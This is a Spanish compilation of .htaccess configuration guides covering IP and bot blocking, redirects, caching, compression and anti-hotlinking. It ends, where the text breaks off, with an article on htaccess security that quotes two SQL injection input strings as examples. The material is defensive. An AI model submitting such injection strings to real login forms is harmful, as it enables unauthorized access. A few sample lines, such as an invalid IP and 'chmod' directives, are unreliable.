Está en la página 1de 31

Gua de HTACCESS

ndice
1. Introduccin al .htaccess
2. Bloqueando y permitiendo acceso
3. Re-escritura y Redireccin
4. Compresin y cach
5. Otras funcionalidades del .htaccess
6. Recomendaciones sobre el fichero .htaccess
7. Simbologa del fichero .htaccess


1.- Introduccin
Hay muchsimos artculos en la red sobre el fichero .htaccess, as que es una buena forma de
agrupar y reunir lo que realmente es interesante sobre este tema, mediante ejemplos claros que
sirvan como ejemplo.
Primero, tenemos que decir que el fichero .htaccess es una verdadera 'navaja suiza' para el control
del acceso a tu sitio web. Con ella se puede redireccionar a una persona, denegar el acceso,
comprimir los ficheros, establecer una cach para los archivos, etc.
.htaccess significa acceso de hipertexto -hipertext access- y es un archivo de configuracin de
Apache. Apache es el software encargado de servir pginas web para plataformas Unix, Microsoft
Windows, Mac, etc.

Advertencia: un error en el .htaccess puede hacer que no se vea la web hasta que se arregle
dicho error.

Es evidente, pero importante, saber que en todos los ejemplos habr que sustituir los nombres
genricos y las IP por las correctas en tu servidor. En muchos casos los dominios son del tipo
dominio.com, ejemplo1.com, ejemplo2.com y similares, y las IP suelen ser 100.100.100.100,
100.101.102.103, y parecidas.


2.- Bloqueando y Permitiendo Acceso

Denegar el acceso a un directorio -carpeta- del servidor
Crear un fichero .htaccess dentro de la carpeta con las instrucciones:
#denegar todo acceso
deny from all

Permitir el acceso slo a una IP
#denegar todo acceso excepto una IP
deny from all
allow from 100.100.100.100

Permitir el acceso slo a un rango especfico de IPs
(forzado mediante la mscara de red)
#denegar todo acceso excepto a un rango de IP
deny from all
allow from 100.100.100.100/24

Bloquear el acceso a un archivo especfico
#bloquear un fichero concreto
<Files archivo_a_bloquear.html>
order allow,deny
deny from all

Redireccionar visitantes a una direccin alternativa, menos
a una IP especfica
#Redireccionar a todos a otrositio.com excepto una IP concreta
ErrorDocument 403 http://www.otrositio.com
order deny,allow
deny from all
allow from 100.101.102.103

Denegar un rango completo de IP
Esto quiere decir que elimina 256 direcciones en el primer caso, 65536 en el segundo caso, y ms
de 16 millones de direcciones IP en el tercer caso
# Primer caso: deniega el acceso a 256 IPs, desde la 100.100.100.0 hasta la 100.100.100.255
order allow,deny
deny from 100.100.100.

# Segundo caso: deniega 65536 IP
order allow,deny
deny from 100.100.

# Tercer caso: deniega todas las IP que empiezan por 100, que son ms de 16 millones
order allow,deny
deny from 100.

Permitir un rango concreto de IP a la web
# permitir acceso a rango 100.100.100.0 hasta 100.100.100.255
order deny,allow
allow from 100.100.100.

Denegar acceso de un dominio concreto
# bloquear acceso a un dominio
order allow,deny
allow from all
deny from .*dominio\.com.*

Denegar acceso a visitantes que vengan de un dominio
concreto
# bloquear acceso visitas desde ejemplo1.com y ejemplo2.com
RewriteCond %{HTTP_REFERER} ejemplo1\.com [NC,OR]
RewriteCond %{HTTP_REFERER} ejemplo2\.com [NC,OR]
RewriteRule .* - [F]

Denegar acceso a una hora especfica
# bloquear acceso una hora
RewriteCond %{TIME_HOUR} ^12$
RewriteRule ^.*$ - [F,L]

Denegar acceso a un directorio a varias horas concretas
# bloquear acceso en varias horas
RewriteCond %{TIME_HOUR} ^(12|13|14|15)$
RewriteRule ^.*$ - [F,L]

Denegar acceso a muchos proxies
# bloqueo de Proxies
RewriteCond %{HTTP:VIA} !^$ [OR]
RewriteCond %{HTTP:FORWARDED} !^$ [OR]
RewriteCond %{HTTP:USERAGENT_VIA} !^$ [OR]
RewriteCond %{HTTP:X_FORWARDED_FOR} !^$ [OR]
RewriteCond %{HTTP:PROXY_CONNECTION} !^$ [OR]
RewriteCond %{HTTP:XPROXY_CONNECTION} !^$ [OR]
RewriteCond %{HTTP:HTTP_PC_REMOTE_ADDR} !^$ [OR]
RewriteCond %{HTTP:HTTP_CLIENT_IP} !^$
RewriteRule ^(.*)$ - [F]

Prevenir accesos al archivo .htaccess
# prevenir acceso .htaccess
<files .htaccess>
order allow,deny
deny from all
</files>

Prevenir el acceso a un archivo especfico
#prevenir acceso a un fichero concreto
<files nombre.jpg>
order allow,deny
deny from all
</files>

Prevenir el acceso a varios tipos de archivos
# prevenir acceso a tipos de ficheros concretos
<FilesMatch "\.(htaccess|htpasswd|ini|phps|log)$">
order allow,deny
deny from all
</FilesMatch>

Evitar que se muestren determinados tipos de ficheros
# evitar muestra de fichero MP4, WMV y AVI
IndexIgnore *.wmv *.mp4 *.avi

Evitar el listado de directorios
# evitar listado de directorios
IndexIgnore *

Evitar el hotlinking en el dominio
El hotlinking es cuando descargan ficheros de tu servidor desde otra web para mostrarlos en sta,
'robando' ancho de banda y servicios del tuyo.
# Evita el hotlinking a ficheros GIF y JPG del servidor
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?midominio\.com/.*$ [NC]
RewriteRule .*\.(gif|jpg)$ http://www.midominio.com/hotlinking.jpg [R,NC,L]

Nota: Es ms eficaz, si el archivo que mostramos a aquellos que realizan el hotlinking lo colgamos
en un servidor gratuito de imgenes tipo ImageShack.us (o similares) y lo referenciamos all.

Bloqueo de ficheros determinados el cualquier subdominio,
para evitar hotlinking especfico
Para evitar el hotlinking a ficheros MP3 y ficheros de vdeo AVI, WMV y MPG:
# Evita el hotlinking a ficheros MP3, AVI, WMV y MPG de cualquier subdominio y dominio del
servidor
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://([-a-z0-9]+\.)?midominio\.com [NC]
RewriteRule .*\.(mp3|avi|wmv|mpg|mpeg)$ http://www.midominio.com/images/nohotlink.gif [R,NC,L]

Nota: si se envan ficheros por RSS -sindicacin del sitio- debe tenerse en cuenta, ya que las
instrucciones anteriores bloquean todo el contenido de vdeo y los RSS pueden verse mal.

Nota: Es ms eficaz, si el archivo que mostramos a aquellos que realizan el hotlinking lo colgamos
en un servidor gratuito de imgenes tipo ImageShack.us o similar, y lo referenciamos all.

Bloqueo de robot -bot- especfico, a travs de
SetEnvIfNoCase
# bloqueo del bot BotMalo
SetEnvIfNoCase User-Agent "BotMalo/" spambot
deny from env=spambot

Bloque de robot -bot- especfico, a travs de Rewrite
# bloqueo de 3 bots conocidos (hay muchsimos ms)
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
RewriteRule .* - [F]

Bloqueo de robot -bot- que accede siempre al mismo
fichero
# bloqueo del bot al acceder a un fichero PHP concreto
SetEnvIfNoCase Request_URI "/firefoxz.php$" spambot
deny from env=spambot

Bloqueo de robot -bot- que siempre es referenciado desde
un mismo sitio, a travs de SetEnvIfNoCase
# bloqueo cuando se viene referenciado de un sitio web concreto
SetEnvIfNoCase Referer "^http://www.dominiospammers.com/" spambot
deny from env=spambot

Nota: Las 3 anteriores sentencias pueden combinarse escribiendo las 3 lneas SetEnvIfNoCase, y
luego solo un deny, de la siguiente forma:

SetEnvIfNoCase User-Agent "BotMalo/" spambot
SetEnvIfNoCase Request_URI "/firefoxz.php$" spambot
SetEnvIfNoCase Referer "^http://www.spammers.com/" spambot
deny from env=spambot


Bloqueo de robot -bot- que siempre es referenciado desde
un mismo sitio, a travs de Rewrite
# bloqueo cuando se viene referenciado de un sitio web concreto ejemplo1.com
RewriteCond %{HTTP_REFERER} ^ejemplo1\.com$ [NC]
RewriteRule .* - [F]

Bloqueo de robot -bot- que siempre es referenciado desde
dos sitios, a travs de Rewrite
# bloqueo cuando se viene referenciado desde ejemplo1.com o ejemplo2.com
RewriteCond %{HTTP_REFERER} ^ejemplo1\.com$ [NC,OR]
RewriteCond %{HTTP_REFERER} ^ejemplo2\.com$ [NC]
RewriteRule .* - [F]

Evitar acceso mediante el navegador a una carpeta sin el
archivo "index"
# evitar acceso a carpeta sin index
Options All -Indexes

Nota: lo contrario, es decir, permitir el acceso a carpetas sin index es:

# evitar acceso a carpeta sin index
Options All +Indexes



3.- Re-escritura y redireccin

Quitar siempre las www de la URL
Es importante no repetir URLs -mostrando el mismo contenido con y sin www-, ya que penaliza el
posicionamiento.
# quitar las www
RewriteCond %{http_host} ^www\.netandsoftware\.com [NC]
RewriteRule ^(.*)$ http://netandsoftware.com/$1 [R=301,L]

Mostrar siempre las www de la URL
# mostrar siempre las www
RewriteCond %{HTTP_HOST} .
RewriteCond %{HTTP_HOST} !^www\.netandsoftware\.com$
RewriteRule (.*) http://www.netandsoftware.com/$1 [R=301,L]

Cambiar la pgina de carga por defecto
#orden de los ficheros de carga por defecto
DirectoryIndex inicio.html index.htm index.html index.php

Nota: El orden es muy importante porque da la preferencia de los ficheros de carga

Camuflar el tipo de ficheros
Esto se hace para que sea ms dificil detectar el tipo de ficheros que se usa
# camuflar archivos PHP como NAS
AddType application/x-httpd-php .nas

Redirigir el contenido en funcin del navegador usado
RewriteCond %{HTTP_USER_AGENT} ^Opera/*
RewriteRule ^index\.html$ index.opera.html [L]
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/*
RewriteRule ^index\.html$ index.mozilla.html [L]
RewriteRule ^index\.html$ index.html [L]

Nota: Los asteriscos indican el uso de cualquier versin de ese navegador, por ejemplo:dicarse a
continuacin de la barra, como "Mozilla/3.0", "Mozilla/4.0", "Mozilla/5.0", etc.

Redireccionar una antigua pgina a la nueva
# redireccionar permanentemente
RewriteRule ^(.*)$ http://www.minuevodominio.com/$1 [R=301,L]

Redireccionar una antigua pgina a la nueva, a travs de
ReDirect
# redireccionar permanentemente
redirect 301 / http://www.dominio.com/

Redireccionar una web a otro sitio provisionalmente
(redireccin 302)
# redireccionar provisionalmente
RewriteRule ^(.*)$ http://www.minuevodominio.com/$1 [R=302,L]

Redireccionar de un archivo a otro
# redireccionar un antiguo fichero a otra nueva direccin
Redirect /antiguo.html http://dominio.com/nuevo.html

Redireccionar una IP concreta a una pgina concreta
Puede servir para avisar a una persona con una IP concreta de que ha sido baneada.
# redireccionar una IP a una pgina concreta de nuestra web
RewriteCond %{REMOTE_ADDR} 100.101.102.103
RewriteRule .* pagina-concreta.html [R]

Redireccionar toda una web a un directorio del mismo
dominio
# traslada todas las URL antiguas a la nueva carpeta en el mismo dominio
RewriteCond %{HTTP_HOST} ^midominio\.com$ [OR]
RewriteCond %{HTTP_HOST} ^www\.midominio\.com$
RewriteCond %{REQUEST_URI} !^/webencarpeta/
RewriteRule (.*) /webencarpeta/$1 [L]

Quitar una palabra de una URL
En el siguiente ejemplo,
de http://www.midominio.com/quitar/prueba.html a http://www.midominio.com/prueba.html
# quitar una cadena de una URL
RewriteRule ^quitar/(.+)$ http://www.midominio.com/$1 [R=301,L]

URL amigable (uso de fin de interrogacin en RewriteRule)
Cambia una URL como http://www.midominio.com/articulos-
blog?catid=27 a http://www.midominio.com/articulos-blog de forma permanente.
# Uso de ?
RewriteCond %{REQUEST_URI} ^/articulos-blog$ [NC]
RewriteCond %{QUERY_STRING} ^catid=(.*)$ [NC]
RewriteRule ^(.*)$ /articulos-blog? [R=301,L]

URL amigable (uso del tanto por ciento en RewriteRule)
Cambia una URL como http://www.dominio.com/noticias?id=127
a http://www.dominio.com/noticias/127 de forma provisional.
# Uso del %
RewriteCond %{REQUEST_URI} ^/noticias$ [NC]
RewriteCond %{QUERY_STRING} ^id=(.*)$ [NC]
RewriteRule ^(.*)$ /noticias/%1? [R=302,L]

Mejorando el posicionamiento SEO con RewriteRule
Cambia una URL con la cadena "ps" por una URL con la cadena "posicionamiento-seo" que
determina mejor el contenido de las URLs.
# mejorando el posicionamiento SEO sustituyendo caracteres sin sentido por otros que determinan
el contenido
RewriteRule ^(.*)/ps/(.*)$ $1/posicionamiento-seo/$2 [L,R=301]

Transformacin de una URL con agrupamiento de
caracteres maysculas y minsculas
Cambia la URL de este tipo http://www.midominio.com/pais/Espana.php a
http://www.midominio.com/codigo/pais.php?nombre=Espana
# detectar palabras en maysculas o minsculas o combinacion de ambas
RewriteRule ^pais/([a-zA-Z_-]+).php$ codigo/pais.php?nombre=$1 [L]

Paso de parmetros en la URL y doble parmetro
Cambia una URL como http://www.midominio.com/fecha/2013/12.html a
http://www.midominio.com/fecha.php?mes=12&anio=2013 de forma permanente
# Doble parmetro
RewriteRule ^fecha/(.+)/(.+)\.html$ fecha.php?mes=$2&anio=$1 [R=301,L]



4.- Compresin y cach

Comprimir ficheros de texto, HTML, JavaScript, CSS y XML
# comprimir focheros texto, html, javascript, css, xml
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript

Tambin en una sla lnea:
AddOutputFilterByType DEFLATE
text/plain text/html text/xml text/css application/xml application/xhtml+xml application/rss+xml applic
ation/javascript application/x-javascript

Cachear ficheros de imgenes a una semana
#Cache del navegador, imagenes cacheadas a una semana: 604800 segundos
<FilesMatch "\.(ico|jpg|jpeg|png|gif)$">
Header set Cache-Control "max-age=604800, public"
</FilesMatch>

Cachear ficheros JPG a un mes
#Cache del navegador, imgenes cacheadas a un mes: 2592000 segundos
<FilesMatch "\.(jpg|jpeg)$">
Header set Cache-Control "max-age=2592000, public"
</FilesMatch>

Cachear con ExpiresByType y el intervalo legible
#cach que expira las imgenes JPG en 6 meses, los CSS en 2 meses, y los JavaScripts en 2
semanas
ExpiresActive on
ExpiresByType image/jpg "access plus 6 months"
ExpiresByType text/css "access plus 2 months"
ExpiresByType text/javascript "access plus 2 weeks"

Cachear ficheros a un ao con ExpiresDefault y el intervalo
en segundos
ExpiresActive On
ExpiresDefault A0
# cach expira en un ao (A9030400) para los ficheros FLV, ICO, AVI, MOV, PPT, DOC, MP3,
WMV y WAV
<FilesMatch "\.(flv|ico|pdf|avi|mov|ppt|doc|mp3|wmv|wav)$">
ExpiresDefault A9030400
</FilesMatch>



5.- Otros funcionalidades en el .htaccess

Asignar permisos CHMOD automticamente al fichero
.htpasswd
# permiso automtico del fichero que protege el directorio .htpasswd
chmod .htpasswd files 640

Asignar permisos CHMOD automticamente al fichero
.htaccess
# permiso automtico del fichero .htaccess
chmod .htaccess files 644

Asignar permisos CHMOD automticamente a ficheros PHP
# permisos automticos de archivos PHP
chmod php files 600

Limitar la subida de ficheros ms grandes que una cantidad
Protege de ciertos ataques DOS, limitando el tamao de archivos que se suben al servidor.
# limitar la subida a 10 MB
LimitRequestBody 10000000

Permitir al usuario descargar archivos multimedia
Generalmente slo se permiten abrir
# permitir descarga de ficheros multimedia AVI, MPG, WMV y MP3
AddType application/octet-stream .avi
AddType application/octet-stream .mpg
AddType application/octet-stream .wmv
AddType application/octet-stream .mp3

Personalizar errores 404
ErrorDocument 404 /errores/404.html

Nota: Para otros tipos de errores es similar, se coloca el nmero de error y la direccin donde
queremos redireccionar al visitante.

Corregir pequeos errores de ortografa en las URL
CheckSpelling On

Especificar el e-mail por defecto del administrador del
servidor
# e-mail del administrador del servidor
SetEnv SERVER_ADMIN webmaster@midominio.com

Especificar el lenguaje por defecto del servidor
# lenguaje por defecto del servidor
DefaultLanguage en-US

Forzar el uso del protocolo seguro SSL
# fuerza el uso de SSL en la web
SSLOptions + StrictRequire
SSLRequireSSL

Redireccionar usuarios con protocolo seguro HTTPS a una
carpeta en particular
Esto se puede necesitar cuando una web tiene una tienda online en una carpeta especfica
RewriteCond %{SERVER_PORT} 80
RewriteCond %{REQUEST_URI} carpeta
RewriteRule ^(.*)$ https://www.midominio.com/carpeta/$1 [R,L]

Evitar la visualizacin de errores al visitante
# evitar que los errores se muestren al usuario
php_flag display_startup_errors off
php_flag display_errors off
php_flag html_errors off

Registrar errores de PHP en un fichero log
# registrar errores en log
php_flag log_errors on
php_value error_log /logs/php_error.log

Limitar el nmero de visitas al mismo tiempo a 400
# limitar el nmero de visitas a 400
MaxClients 400

Denegar la ejecucin de scripts CGI
# bloquear CGIs
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .sh .cgi

Declarar tipos MIME
# agregar tipos mime
AddType application/x-shockwave-flash .swf
AddType video/x-flv .flv
AddType image/x-icon .ico

Definiendo el juego de caracteres
Pasando el juego de caracteres se evita el mostrar un error 500 por este motivo
AddDefaultCharset utf-8

Desactivar los Entities Tags
FileETag none



6.- Recomendaciones sobre el fichero .htaccess
1. El tamao es importante: cuanto ms pequeo sea el fichero .htaccess menos tiempo
tardar el servidor en procesarlo cada vez que se realiza una peticin a tu servidor. Esto
implica una prdida de rendimiento en la carga de las pginas de tu sitio web si este
fichero se hace demasiado grande.
2. La directiva [L] es realmente interesante y hace que el servidor no procese ms el archivo
una vez que se cumple esa regla. Por lo que incorpora siempre que puedas esta directiva
en los RewriteRule.
3. La organizacin es fundamental: dado lo complicada que pueden ser ciertas lneas en el
cdigo de .htaccess, es imprescindible comentar adecuadamente tu fichero para que la
modificacin sea rpida y sencilla. No escatimes en comentarios, y organiza
adecuadamente las instrucciones de tu .htaccess.
4. Protege adecuadamente este archivo de reescrituras ajenas, puede llegar a ser muy
peligroso.
5. La denegacin de permisos debe estar lo primero, antes de ejecutar RewriteCond y
RewriteRule.


7.- Simbologa del fichero .htaccess
De forma breve, los cdigos y smbolos en el archivo .htaccess son:
# Puesto al inicio de una lnea, ignora esa lnea.
[F] Forbidden: prohbe un acceso y fuerza un acceso denegado.
403 Forbidden.
[L] Last rule: indica que es la ltima regla que debe
aplicarse.
[N] Next: indica continuacin hasta que las directivas sean
logradas.
[G] Gone: indica al servidor que ya no existe, es decir,
entrega "Gone".
[P] Proxy: instruye al servidor para manejar los pedidos por
mod_proxy.
[C] Chain: encadena la regla actual con la regla anterior.
[R] Redirect: indica redireccin. Puede haber de varios tipos
301 (permanente), 302 (provisional).
[NC] No Case: no sensible a maysculas, es decir, indica que
no debe distinguirse entre maysculas y minsculas.
[PT] Pass Through: pasa el URL a Apache para seguir
procesando.
[OR] Or: indica que la expresin debe interpretase como una
alternativa junto a la siguiente: lgico. Si se omite, se
sobreentiende que es una y lgica, por defecto.
[NE] No Escape: analiza las salidas de caracteres sin
escapar.
[NS] No Subrequest: para saltar directivas de sub-pedidos
internos.
[QSA] Append Query String: agrega un query string al final de
la expresin (URL).
[S=x] Skip: salta las siguientes "x" reglas del fichero
.htaccess.
[E=variable:value] Environmental Variable: para aadir un
valor a una variable.
[T=MIME-type] Mime Type: declara mime-type al recurso.
[] dentro de los parntesis se encierran carcteres que
definen los resultados.
[]+ se utiliza para hacer combinaciones.
[^] excluye los carcteres que pongamos dentro del
parntesis. Ejemplo [^abc] excluye las letras a, b y c.
[a-z] letras desde la a hasta la z (en minsculas).
[A-Z] letras desde la A hasta la Z (en maysculas).
[a-zA-Z] slo letras (maysculas y minsculas).
[a-z]{1,10} palabras en minsculas entre 1 y 10 caracteres.
[0-9] slo un nmero.
[0-9]{4} nmeros de 4 cifras.
(.*) cualquier expresin, incluida la vaca.
a{n} especifica el nmero de caracteres.
a{n,} especifica el nmero "o ms" de caracteres.
a{n,m} especifica un rango entre "n" y "m". Ejemplo s{3,6}
ser 3 "eses", 4 "eses", 5 "eses" o 6 "eses".
() es un agrupamiento de caracteres.
^ marca el inicio de un argumento.
$ marca el fin de un argumento.
? establece como opcional el caracter que le precede. Si se
pone este smbolo al final del segundo argumento del
RewriteRule, indicar que no se ponga nada ms en la URL.
! es la negacin. Ejemplo: "!string" resulta "no string".
. indica cualquier caracter arbitrario.
- instruccin not to.
+ indica uno o ms caracteres del caracter que le precede.
Por ejemplo: (.+) indica cualquier cadena de uno o ms
caracteres.
| es el lgico, condicin de alternancia. Ejemplo (a|b) es
el caracter a o el b.
\ escapa caracteres, es decir, toma el caracter que le sigue
literalmente. Por ejemplo: \. indica literalmente un punto,
ya que sin la barra invertida indicara cualquier caracter.
/* indica cero o ms "/".
.* indica cualquier caracter, incluido que no exista
caracter.
^$ indica una cadena vaca.
^.*$ indica "todo", toda la cadena.
[^/.] define un caracter que no sea "/" ni ".".
[^/.]+ define, ningn nmero de caracter que tenga "/" o ".".
http:// es literalmente http://.
^dominio.* define una cadena que comience con "dominio" y le
siga cualquier nmero de caracteres.
^dominio\.com$ define exactamente dominio.com.
-d prueba si la cadena es un directorio existente.
-f prueba si la cadena es un archivo existente.
-s prueba si el archivo en la cadena no tiene valor cero.

Y espero que con estos ejemplos, tengan resueltas muchas de las opciones posibles para
configurar su propio .htaccess segn sus necesidades.









CONSEJOS DEL USO DEL ARCHIVO .HTACCESS

El .htaccess es un simple archivo de texto (ASCII) en su carpeta www o en un subdirectorio
dentro de la carpeta www. Usted puede crear o editar este archivo con cualquier editor de
texto (por ejemplo Notepad, Wordpad, etc) y luego subirlo al directorio que requiera modificar
la configuracion. Debe de verificar que el archivo que sube este en formato ASCII (y no en
formato Binario), y verificar que los permisos al archivo esten a 644 (rw-r--r--). Esto permite
que el servidor tenga alcceso al archivo, pero asimismo por razones de seguridad previene
acceso no autorizado al archivo por medio del explorador de internet (riesgo de seguridad).
Los comando dentro del archivo .htaccess afectarn al directorio donde este ubicado y
ademas en todos sus subdirectorios. Si usted coloca el archivo .htaccess en un directorio
www, esto afectar a todo el sitio web.
Algunas configuraciones soportadas por el .htaccess (varia segun el servidor hosting de
hospedaje) incluyen:
PERSONALIZACION DE MENSAJES
Si deseas superponer las paginas de error del servidor, puedes usar el .htaccess para definir
sus propios mensajes. Un ejemplo de la sintaxis es:
#######################
ErrorDocument 500 /error.html
ErrorDocument 404 /404.html
#######################
Superponer configuracion SSI Por defecto, solo las pginas terminadas en extension .shtml
analizara las inclusiones del lado del servidor (SSI) o en nuestros servidores. Usted puede
superponer esta restriccion en su archivo .htaccess:
Si usted requiere superponer la configuracin por defecto del servidor para que SSI trabaje
con documentos .html, puedes crear un archivo llamado .htaccess subirlo (en modo ASCII) a
su directorio www. Agregue las siguiente lineas a su archivo .htaccess:
#######################
AddType text/html .html
AddHandler server-parsed .html
#######################
Si prefieres ambos tipos de documentos .html y .htm para analizar SSI, cree su archivo
.htaccess con las siguiente lineas:
#######################
AddType text/html .html
AddHandler server-parsed .html
AddHandler server-parsed .htm
#######################
CAMBIE SU PGINA DE INICIO POR DEFECTO
En orden para ingresar a su sitio web especificando unicamente el nombre de dominio (por
ejemplo, http://www.soltronica.com) en vez de tener que especificar la pgina exacta del
archivo (Por ejemplo, http://www.soltronica.com/blog.html), deber de tener una pagina inicial
en su directorio www. Los nombre de archivo aceptados por defecto para paginas de inicio son
index.htm, index.html, index.cgi, index.shtml, index.php, etc. Note que todos son nombrados
como index.*.
Inclusive existe un orden de precedencia para estos nombres. Asi que si usted cuenta por
ejemplo con 2 archivos uno llamado index.cgi y el otro llamado index.html en su directorio, el
servidor mostrara index.cgi debido a que el nombre toma un mayor valor de precedencia que
un index.html.
Entonces usando el .htaccess, puedes definir adicionales nombres de archivo (index) y o
cambia su orden de precendecia.
Por ejemplo para definir su pagina de inicio como mipagina.html agregue las siguientes lineas
en su archivo .htaccess:
#######################
DirectoryIndex mipagina.html
#######################
Esto convertira el archivo mipagina.html en su pagina de inicio, pero si es que el archivo no se
encontrara en esa ubicacin luego de definirlo entonces el sistema devolvera el error: 404
Missing Page error.
Para cambiar el orden de precedencia, ingrese varios comandos DirectoryIndex con multiples
nombres de archivo en la misma lnea. El orden en la cual los archivo son listados (de
izquierda a derecha) determina el orden de precedencia. Por ejemplo,
#######################
DirectoryIndex mipagina.html index.cgi index.php index.html
#######################
DESACTIVAR LA EXPLORACIN DE LOS DIRECTORIOS
Cuando en un directorio raiz no existe el archivo index, o no se ha definido una pagina de
inicio, por defecto el explorador de internet mostrar un listado de los archivos que contiene
dicha carpeta o raiz.
Esto es un riesgo de seguridad pues conlleva a divulgar sus archivos de la carpeta. Si usted
requiere mantener sus archivos ocultos, entonce debe de agregar el siguiente codigo a su
archivo .htaccess:
#######################
Options All -Indexes
#######################
BLOQUEAR EL ACCESO DE USUARIOS A SU WEB
Si usted requiere denegar acceso a un individuo en particular, y si usted conoce la ip o
dominio que el individuo usa para conectarse a internet, entonces puedes usar el .htaccess
para bloquearlo desde tu sitio web.
#######################
<Limit GET>
order deny,allow
deny from 123.456.789.000
deny from 456.78.90.
deny from .aol.com
allow from all
</Limit>
#######################
En el ejemplo de arriba, el usuario desde la IP exacta 123.456.789.000 sera bloqueado para
ingresar; todos los usuarios dentro de un rango de IP desde 456.78.90.000 to 456.78.90.999
seran bloqueado; y todos los usuarios conectados desde aol.com seran bloqueados. cuando
aquellos usuario intenten ingresar a sus sitio web se les mostrara el siguiente mensaje: 403
Forbidden error ("Usted no tiene permiso para acceder a este sitio").
REDIRIGIR VISITANTES A NUEVA PGINA O DIRECTORIO
Por ejemplo si usted esta rediseando su web completa, renombrado paginas y directorios.
Los visitantes de las antiguas pginas recibiran el mensaje: 404 File Not Found error, y esto es
perjudicial pues puede dar mala imagen a su web y por consiguiente perder trfico ganado.
Asi que para evitar este problema puedes redirigir las llamadas de la antigua pgina a la
nueva pgina. Por ejemplo, si su antigua pagina se llamaba pagina_vieja.html y esa pagina ha
sido reemplaza por pagina_nueva.html, entonces agrega la siguiente linea al archivo
.htaccess:
#######################
redirect 301 /pagina_vieja.html http://www.sudominio.com/pagina_nueva.html
#######################
Por supuesto que debes de remplazar sudominio.com por su actual nombre de dominio. Ahora
cuando los visitantes tipeen http://www.sudominio.com/pagina_vieja.html, ellos seran
automticamente redigidos a http://www.sudominio.com/pagina_nueva.html.
Si usted a renombrado un directorio, puede usar una redireccin para afectar a todas las
pginas dentro del directorio:
#######################
redirect 301 /directorio_viejo http://www.sudominio.com/directorio_nuevo/
#######################
Note que la antigua pgina o directorio es especificado usando la direccin de sistema relativa
a su direcctorio www, mientras la nueva pagina o directorio es especificado por la URL
absoluta.
PREVENIR ROBO DE ANCHO DE BANDA BLOQUEANDO EL ACCESO
DE LAS IMGENES.
Si otro usuario esta robando sus imgenes y por consiguiente su ancho de banda, puedes
prevenir esto agregando la siguiente linea en tu archivo .htaccess:
#######################
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?sudominio.com/.*$ [NC]
RewriteRule \.(gif|jpg)$ - [F]
#######################
Reemplaza sudominio.com con su actual nombre de dominio. Utilizando dicho cdigo sus
imagenes solo se mostrarn cuando el visitante este navegando en la web
http://sudominio.com. Si la imagen es llamado desde otras direcciones web, entonces no se
mostrarn (imgenes con link roto).
Si te sientes particularmente fastidiado por que roban imagenes de tu web, entonces puedes
proporcionar una imagen alternativa para las pginas que hacen hotlink de tus imagenes --
Por ejemplo, una imagen que diga "Robar es malo ... visita http://sudominio.com para ver la
imagen real que pertenece aqui."
Para lograr lo indicado use el siguiente cdigo en su archivo .htaccess:
#######################
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?sudominio.com/.*$ [NC]
RewriteRule \.(gif|jpg)$ http://www.sudominio.com/no_robar.gif [R,L]
#######################
Esta vez, reemplace sudominio.com con su actual nombre de dominio, y reemplace
no_robar.gif con el nombre de archivo de la imagen que deseas mostrar en las otras paginas
que hacen hotlink a tu imagen.
PREVENIR LA VISUALIZACION DEL ARCHIVO .HTACCESS
Para prevenir que los visitantes puedan visualizar el contenido de tu archivo .htaccess,
coloque el siguiente cdigo en el archivo .htaccess
#######################
<Files .htaccess>
order allow,deny
deny from all
</Files>
#######################
Del mismo modo si necesitas bloquear otro archivo en particular solamente reemplazas el
valor <Files .htaccess> por el nombre de archivo que requieras bloquear <Files .otro_archivo>



















Un poco de seguridad con htaccess
Jos Pereira
Jueves, 26 de Mayo de 2011 21:45

Quizs sean pocos los lectores a los que no le suene la potencialidad de htaccess, sin
embargo a menudo solemos infrautilizar todo el potencial que este pequeo archivo de
configuracin puede encerrar.
Htaccess es un contenedor de directivas y reglas que guardado a nivel de directorio de
nuestro proyectos web complementan el archivo de configuracin de Apache.
Uno de los planteamientos mas divertidos de .htaccess es su uso como herramienta de
seguridad, o ms bien de ofuscacin de nuestros archivos y directorios, de manera que
ayude a mantener a mentes curiosas lejos de los archivos y directorios sensibles de
nuestros proyectos.
A menudo cuando se trabaja en la dura realidad de la empresa, donde la productividad
pesa ms que la elegancia, nuestros proyectos web son lanzados no todo lo maduros que
desearamos, por lo que un buen .htaccess puede ahorarnos algun bochorno delante de
nuestros clientes.
A continuacin voy a describir una serie, de tcnicas, que pueden ayudarnos a relajar un
poco la seguridad de nuestras aplicaciones o guardarnos un poco las espaldas, cuanto
usamos cdigo de otras personas.
No voy a entrar demasiado en detalle de las explicaciones de directivas y expresiones ya
que hay suficiente documentacin en la Red sobre ello.
Como otros artculos de este site, no pretendo arrojar otro manual mas de htaccess a la
Red, sino mas bien aportar algunas ideas que el lector debe ajustar a sus necesidades y
estrategias.
Activar .htaccess
Para que htaccess sea funcional hay que especificar la directiva en nuestro host virtual:
AllowOverride All
Tambin puede ser que necesites un:
Options +FollowSymLinks
Activar mod_rewrite
La mayora de reglas usan mod_rewrite, ya que se basan en el filtrado del URL y no en
tareas de acceso propiamente a archivos y direcctorios, por tanto debemos disponer de el
en nuestro servidor.
Si usamos un hosting publico, habr que comprobar que esta soportado. Si administramos
nuestro propio hosting basta con un:
a2enmod rewrite
Para familiarizarte en profundidad con mod_rewrite visita su documentacin oficial.
Algunas reglas de seguridad para el htaccess interesantes:
Inyecciones SQL
Una de las pesadillas ms antiguas de las vulnerabilidades web son las inyecciones sql.
Mediante la inyeccin de fragmentos de cdigo SQL en los valores de nuestras variables:
mipass= OR ''='
miuser=' AND 0 UNION SELECT 1 AND 'l'='
